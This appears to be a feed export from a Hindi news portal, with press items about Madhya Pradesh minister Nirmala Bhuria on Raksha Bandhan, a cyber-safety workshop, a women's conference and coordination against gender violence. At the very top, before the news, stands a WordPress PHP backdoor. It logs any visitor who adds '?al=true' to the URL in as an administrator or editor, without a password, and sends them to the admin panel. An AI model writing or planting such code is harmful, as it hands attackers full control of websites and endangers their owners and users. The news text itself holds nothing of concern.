// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); nirmla – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 08 Aug 2025 11:57:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 रक्षाबंधन भाई–बहन के प्रेम, विश्वास और संरक्षण का अद्भुत बंधन : सुश्री भूरिया https://pratyushaashakinayikiran.com/?p=176476 Fri, 08 Aug 2025 11:57:00 +0000 https://pratyushaashakinayikiran.com/?p=176476 भोपाल 

महिला एवं बाल विकास मंत्री सुश्री निर्मला भूरिया ने रक्षाबंधन पर्व पर सभी लाड़ली बहनों, आंगनवाड़ी कार्यकर्ताओं, सहायिकाओं और समस्त प्रदेशवासियों को हार्दिक बधाई और शुभकामनाएं दीं। उन्होंने कहा कि रक्षाबंधन भाई–बहन के पवित्र प्रेम, विश्वास और संरक्षण का अद्भुत प्रतीक है, जो रिश्तों में अटूट विश्वास और स्नेह का संचार करता है।

सुश्री भूरिया ने कहा कि रक्षाबंधन का यह अवसर महिलाओं के सम्मान और सुरक्षा के संकल्प को पुनः दृढ़ करने का समय है। हमें महिलाओं को उनके अधिकारों के प्रति जागरूक बनाने और बच्चों के स्वस्थ व सशक्त भविष्य के निर्माण के लिए निरंतर प्रयास करना चाहिए।

मंत्री सुश्री भूरिया ने प्रदेशवासियों का आहवान किया कि इस दिन हम सभी अपनी बहनों, माताओं और बेटियों की सुरक्षा, सम्मान और खुशहाली के लिए हर संभव प्रयास करने का प्रण लें। उन्होंने कहा कि रक्षाबंधन न केवल भाई–बहन के रिश्ते को मजबूत बनाता है, बल्कि हमें एक सुरक्षित, सशक्त और संस्कारित समाज के निर्माण के लिए एकजुट होने की प्रेरणा देता है। उन्होंने कहा कि प्रेम और सौहार्द के इस पर्व पर हम सभी मिलकर मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में महिला सशक्तिकरण और विकसित मध्यप्रदेश के लक्ष्य को साकार करने में अपना योगदान दें।

 

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सायबर सुरक्षा में प्रशिक्षित युवा सायबर सुरक्षा दूत की तरह कार्य करें : महिला बाल विकास मंत्री सुश्री भूरिया https://pratyushaashakinayikiran.com/?p=124262 Wed, 22 Jan 2025 18:08:00 +0000 https://pratyushaashakinayikiran.com/?p=124262 भोपाल

सायबर क्राइम आज के दौर का नवीनतम और खतरनाक क्राइम हो गया है। वर्तमान में आधुनिक तकनीक का गलत इस्तेमाल हो रहा है। सायबर क्राइम से बचने का एकमात्र तरीका जागरूकता और सतर्कता है। महिला बाल विकास मंत्री सुश्री निर्मला भूरिया बुधवार को भोपाल के समन्वय भवन में 9वीं नेशनल साइबर साइकोलॉजी क्रॉन्फ्रेंस के एक दिवसीय कार्यशाला के शुभारंभ पर सम्बोधित कर रही थी। मंत्री सुश्री भूरिया ने कहा कि म.प्र. राज्य महिला आयोग और रिस्पॉन्सिबल नेटिज्म संस्था मुम्बई के संयुक्त तत्वाधान में आयोजित कार्यशाला का मुख्य उद्देश्य युवाओं में साइबर वेलनेस के बारे में जागरूकता एवं सुरक्षित डिजिटल परिदृश्य को बढ़ावा देना है। उन्होंने कहा कि यह कार्यशाला सायबर अपराधों से समाज को सुरक्षित करने का अभिनव प्रयास है। मोबाईल के बढ़ते उपयोग से लोगों के काम तो आसान हुए है। लेकिन कहीं न कही इससे उनकी सुरक्षा पर भी सवाल खडें हुए है। सायबर क्राइम के सबसे ज्यादा सॉफ्ट टारगेट बुजुर्ग, महिला और बच्चें है।

मंत्री सुश्री भूरिया ने कहा कि महिला बाल विकास विभाग का लक्ष्य बच्चों, युवाओं और महिलाओं को सायबर सुरक्षित बनाना है। इससे न केवल सायबर वेलनेस को बढ़ावा मिलेगा बल्कि युवाओं में ऑनलाइन संकट को रोकने की क्षमता को विकसित किया जा सकेगा। उन्होंने कहा कि युवतियों और महिलाओं के विरूद्ध बढ़ते सायबर अपराधों पर अंकुश लगाने के उद्देश्य से उज्जैन के विक्रम विश्वविद्यालय परिसर में भारत का "पहला सायबर वेलनेस सेल" लांच किया गया है। मंत्री सुश्री भूरिया ने कार्यक्रम में बड़ी संख्या में उपस्थित कॉलेज और स्कूल के विद्यार्थियों से आग्रह किया कि वे प्रदेश के बच्चों की सुरक्षा के लिये सक्रिय भूमिका निभाएँ। उन्होंने कहा कि इस कान्फ्रेंस के माध्यम से डिजिटल साक्षरता, ऑनलाइन सुरक्षा, सायबर धमकी और ऑनलाइन यौन अपराधों जैसे सायबर खतरों को रोकने के लिये इस सम्मेलन में युवाओं को जिम्मेदार सोशल मीडिया उपयोग पर शिक्षित किया जायेगा।

सायबर क्राइम रोकने का सावधानी से बढ़कर कोई समाधान नहीं है

मुम्बई के एथिकेल हैकर और सायबर सेक्यूरटी एक्सपर्ट श्री रिजवान शेख ने बताया कि सायबर क्राइम के जाल से बचने का सबसे सरल समाधान सावधानी बरतना है। उन्होंने कहा कि वर्तमान में एआई के माध्यम से डीपफेक जैसे अपराध ज्यादा हो रहे है। वर्चुअल वर्ल्ड सिर्फ हैकिंग तक सीमित नहीं है। यह इससे कहीं ज्यादा डीप है। श्री रिजवान ने कहा कि जब भी कोई डिजिटल अरेस्ट जैसी परिस्थिति में फंस जाता है, अथवा ओटीपी या डीप फेक वॉयस के माध्यम से पैसे की माँग करते है तो सायबर क्रिमनल के डर से कभी भी तुरंत पैसा ट्रासंफर न करें। ऐसे समय अपने आप को गरीब और असहाय बताएँ।

रिस्पांसिबल नेटिज्म की फांउडर सीएओ सुश्री सोनाली पाटनकर ने जानकारी देते हुए बताया कि फाउडेशन द्वारा मध्यप्रदेश के 11 जिलों के 22 कॉलेजों के पाँच हजार से अधिक युवा लड़कियों को सफलतापूर्वक शिक्षित किया है। 'सायबर सखी' के नाम से पिछले वर्ष इसकी शुरूआत की गई थी। फाउन्डेशन द्वारा मध्यप्रदेश सीएम हेल्पलाइन के कर्मचारियों को सफलतापूर्वक प्रशिक्षित किया गया।

 

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महिलाएँ भारतीय ज्ञान परम्परा की संरक्षिका और प्रवाहिका : मंत्री सुश्री भूरिया https://pratyushaashakinayikiran.com/?p=107760 Mon, 09 Dec 2024 11:56:00 +0000 https://pratyushaashakinayikiran.com/?p=107760 महिलाएँ भारतीय ज्ञान परम्परा की संरक्षिका और प्रवाहिका : मंत्री सुश्री भूरिया

मैनिट में आयोजित तीन दिवसीय स्त्री 2024 का हुआ समापन

मंत्री निर्मला भूरिया ने कहा कि महिलाएँ भारतीय ज्ञान परम्परा की संरक्षिका और प्रवाहिका

भोपाल

महिला बाल विकास मंत्री सुश्री निर्मला भूरिया ने कहा कि महिलाएँ भारतीय ज्ञान परम्परा की संरक्षिका और प्रवाहिका हैं। उन्होंने कहा किआदिकाल से माँ सरस्वती को ज्ञान एवं विद्या की देवी माना गया और दुर्गा को शक्ति का प्रतीक, इससे स्पष्ट है कि भारतीय संस्कृति में महिलाओं के योगदान को आदिकाल से महत्व दिया गया है। भारतीय संस्कृति की इस परम्परा का निर्वहन आज तक जारी है। मंत्री सुश्री भूरिया ने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी के नेतृत्व में भारत विकास के एक नये आयाम स्थापित कर रहा है और इसमें महिलाओं का योगदान अग्रणी है। आज जब भारत आत्मनिर्भर बनने की दिशा में कदम बढ़ा रहा है, तब इस लक्ष्य को तेज गति से हासिल करने के लिये महिलाओं का सशक्तिकरण, अनुसंधान, और उद्यमिता पर ध्यान दिया जा रहा है। इससे महिलाओं की भागीदारी न केवल समाज को सशक्त बनाती है, बल्कि देश को आर्थिक, सामाजिक और सांस्कृतिक रूप से मजबूत करने में महत्वपूर्ण योगदान देती है। मंत्री सुश्री भूरिया रविवार को मैनिट में आयोजित 'स्त्री 2024' के तीन दिवसीय कार्यक्रम के समापन को संबोधित कर रही थी।

मंत्री सुश्री भूरिया ने कहा कि महिलाएँ आदिकाल से भारतीय ज्ञान-परम्परा की न केवल संरक्षिका व प्रवाहिका रही है, वरन ज्ञान और कौशल भी महिलाओं से ही प्रारंभ हुआ है। यही कारण है कि महिलाओं को जननी कहा जाता है। वैदिक काल में महिलाएँ शिक्षा और ज्ञान के क्षेत्र में अग्रणी थीं। गार्गी, मैत्रेयी, और लोपामुद्रा जैसी विदूषियों ने वेदों और शास्त्रों पर अपने विचार प्रस्तुत किये। महिलाओं ने वैदिक मंत्रों की रचना की और दर्शन, गणित, और ज्योतिष जैसे क्षेत्रों में ज्ञान का विकास किया। मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में हर क्षेत्र में महिलाओं की भूमिका बढ़ाने के लिये निरंतर कार्य किया जा रहा है। इसका सबसे बड़ा उदाहरण लाड़ली बहना योजना है, जो देश की अपनी तरह की सबसे बड़ी योजना है, जो महिलाओं को आर्थिक स्वतंत्रता प्रदान कर रही है। साथ ही महिलाएँ रोजमर्रा की जरूरतों के लिये किसी अन्य पर निर्भर नहीं हैं। मुझे प्रसन्नता है कि इस तरह के एक्स-पो के आयोजन से विभिन्न मुद्दों को उठाया जाता है। इस तरह के आयोजन से स्थानीय संभावनाओं को तलाश कर नई संभावनाओं को विकसित किया जा सकता है। मेरा मानना है कि महिलाओं को जो भी दायित्व दिए जाते हैं, उन्हें वे तल्लीनता व एकाग्रता से निर्वाह करती हैं।

मंत्री श्रीमती भूरिया ने कहा कि अनुसंधान और नवाचार किसी भी देश के विकास के मूलभूत आधार हैं। महिलाओं ने अनुसंधान के क्षेत्र में अपनी प्रतिभा और दृढ़ता से उल्लेखनीय योगदान दिया है। महिलाएँ चिकित्सा और स्वास्थ्य सेवाओं में नवाचार कर रही हैं। आज के परिप्रेक्ष्य में ज्ञान को समझने और उसका प्रभावी उपयोग करने के लिए हमें परंपरागत और आधुनिक दृष्टिकोणों का सामंजस्य स्थापित करना होगा। ज्ञान को केवल सैद्धांतिक रूप से समझने के बजाय उसे व्यावहारिक जीवन में लागू करना आवश्यक है। इसके लिए मेरा मानना है कि नॉलेज को केवल इन्फॉर्मेशन तक सीमित न रखें वरन् इसे समझ, अनुभव और विवेक या विसडम में बदलने के लिये भी तैयार रहें।

मंत्री श्रीमती भूरिया ने कहा कि महिलाओं को जेंडर बेस्ड हिंसा या किसी भी प्रकार की हिंसा से बचाने के लिए मुख्यमंत्री डॉ. यादव ने महिलाओं एवं बालिकाओं को जागरूक करने के लिये पखवाड़े की शुरुआत की है। यह पखवाड़ा 25 नवंबर से शुरू होकर 10 दिसंबर तक चलाया जा रहा है। इसके माध्यम से न सिर्फ महिलाओं, पुरुषों को भी जागरूक किया जा रहा है, जिससे वे अपने व्यवहार में परिवर्तन ला पायें। इससे समाज में भय मुक्त वातावरण का निर्माण होगा।

आइशर के संचालक प्रो. गोवर्धन दास ने कहा कि माँ और मातृभूमि ही हमारी शक्ति का संचार है। विज्ञान भारती के राष्ट्रीय सचिव ने कहा कि विज्ञान भारती ज्ञान परम्परा सर्वधन और संरक्षण में महिलाओं की भूमिका महत्वपूर्ण है। मैनिट के संचालक प्रो. के.के. शुक्ला ने कहा कि नारी ही ऐसी शक्ति है, जो हर परिस्थिति में मजबूत रहकर अहम भूमिका निभाती है। शक्ति की रष्ट्रीय अध्यक्ष डॉ. सुधा तिवारी ने कहा कि जब तक 50 प्रतिशत आबादी देश के प्रगति पर अपना सहयोग नहीं देगी, देश तरक्की नहीं कर सकता। हमें पारम्परिक ज्ञान के महत्व को समझना होगा।

इस अवसर पर मंत्री सुश्री भूरिया ने सुश्री निकिता नागारी को बेस्ट पोस्टर अवार्ड, डॉ. अंजलि ए. कुलकर्णी को बेस्ट पेपर प्रेजेन्टेशन अवार्ड और आंध्रप्रदेश के श्री पोन्दुरू कधार को बेस्ट स्टॉल अवार्ड देकर सम्मानित किया। उन्होंने मेनिट परिसर में लगी प्रदर्शनी का अवलोकन भी किया।

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महिलाओं के ख़िलाफ़ हिंसा के मामले में समाधान के लिए लोक अधिकार केंद्र, वन स्टॉप सेंटर और ऊर्जा डेस्क के बीच समन्वित प्रयासों की आवश्यकता : मंत्री सुश्री भूरिया https://pratyushaashakinayikiran.com/?p=106372 Thu, 05 Dec 2024 11:09:00 +0000 https://pratyushaashakinayikiran.com/?p=106372 भोपाल

मुख्यमंत्री डॉ. मोहन यादव की पहल पर जेंडर आधारित हिंसा की रोकथाम के लिए जागरूकता अभियान "हम होंगे क़ामयाब" 25 नवंबर से 10 दिसंबर तक चलाया जा रहा है इस अभियान के तहत पूरे प्रदेश में विभिन्न विषयों पर आधारित जनजागरूकता कार्यक्रम हो रहे है। बुधवार को आयोजित कार्यक्रम महिलाओं के ख़िलाफ़ हिंसा के मामले में समाधान के लिए लोक अधिकार केंद्र, वन स्टॉप सेंटर और ऊर्जा ड्रेस के मध्य समन्वय कार्य विषय पर केन्द्रित रहा।

महिला बाल विकास मंत्री सुश्री निर्मला भूरिया ने कहा कि महिलाओं के ख़िलाफ़ हिंसा के मामलों में त्वरित और प्रभावी समाधान के लिए लोक अधिकार केंद्र ,वन स्टॉप सेंटर और ऊर्जा महिला हेल्प डेस्क के बीच समन्वय अत्यन्त महत्वपूर्ण है। समन्वित प्रयासों से इन मामलों में अधिक त्वरित और प्रभावी समाधान सुनिश्चित कर सकेंगे। इससे महिलाओं को बेहतर सेवाएं मिलेंगी और हिंसा से पीड़ित महिलाओं को तुरंत सहायता मिल सकेगी, जिससे उनकी सुरक्षा और सशक्तिकरण को बढ़ावा मिलेगा।

समन्वित प्रयासों का उद्देश्य

लोक अधिकार केंद्रों की कार्यप्रणाली में बदलाव के तहत, एकल केंद्रों को बढ़ाया जाना, जो महिलाओं को हिंसा के मामलों में अस्थायी आश्रय, कानूनी सहायता, चिकित्सा सेवाएं और परामर्श जैसी सुविधाएं प्रदान करते हैं। साथ ही, ऊर्जा महिला हेल्प डेस्क के सहयोग से महिलाओं के खिलाफ अपराधों के मामलों में तेज़ और संगठित प्रतिक्रिया प्रदान की जाएगी।

1. लोक अधिकार केंद्र से भेजे गए मामलों को महिला एवं बाल विकास विभाग के MIS सिस्टम में जोड़ा जा सकता है, जिससे मामलों का पंजीकरण और ट्रैकिंग आसान हो सकेगा।

2. वन स्टॉप सेंटर तक पहुंच बढ़ाने के लिए ग्रामीण महिलाओं को परिवहन सुविधाएं मुहैया कराई जा रही है।

3. लोक अधिकार केंद्रों में दर्ज मामलों में कानूनी, चिकित्सा और पुलिस सहायता का समन्वय किया जा सकता है।

4. महिलाओं के लिए परामर्श सेवाएं और सुरक्षा योजनाएं तैयार की जाएंगी।

5. दोनों विभाग संयुक्त रूप से महिलाओं के अधिकारों और लैंगिक हिंसा के खिलाफ जागरूकता अभियान चलाएंगे।

मंत्री सुश्री भूरिया ने कहा कि समन्वित प्रयासों से महिलाओं के खिलाफ हिंसा के मामलों में अधिक प्रभावी और त्वरित समाधान की उम्मीद है। इस पहल से महिला सुरक्षा को बढ़ावा मिलेगा और हिंसा से पीड़ित महिलाओं को बेहतर सेवाएं प्रदान की जा सकेंगी। लोक अधिकार केंद्र, वन स्टॉप सेंटर और ऊर्जा डेस्क के बीच सहयोग महिलाओं की सुरक्षा और स्वशक्तिकरण में महत्वपूर्ण भूमिका निभाएगा।

 

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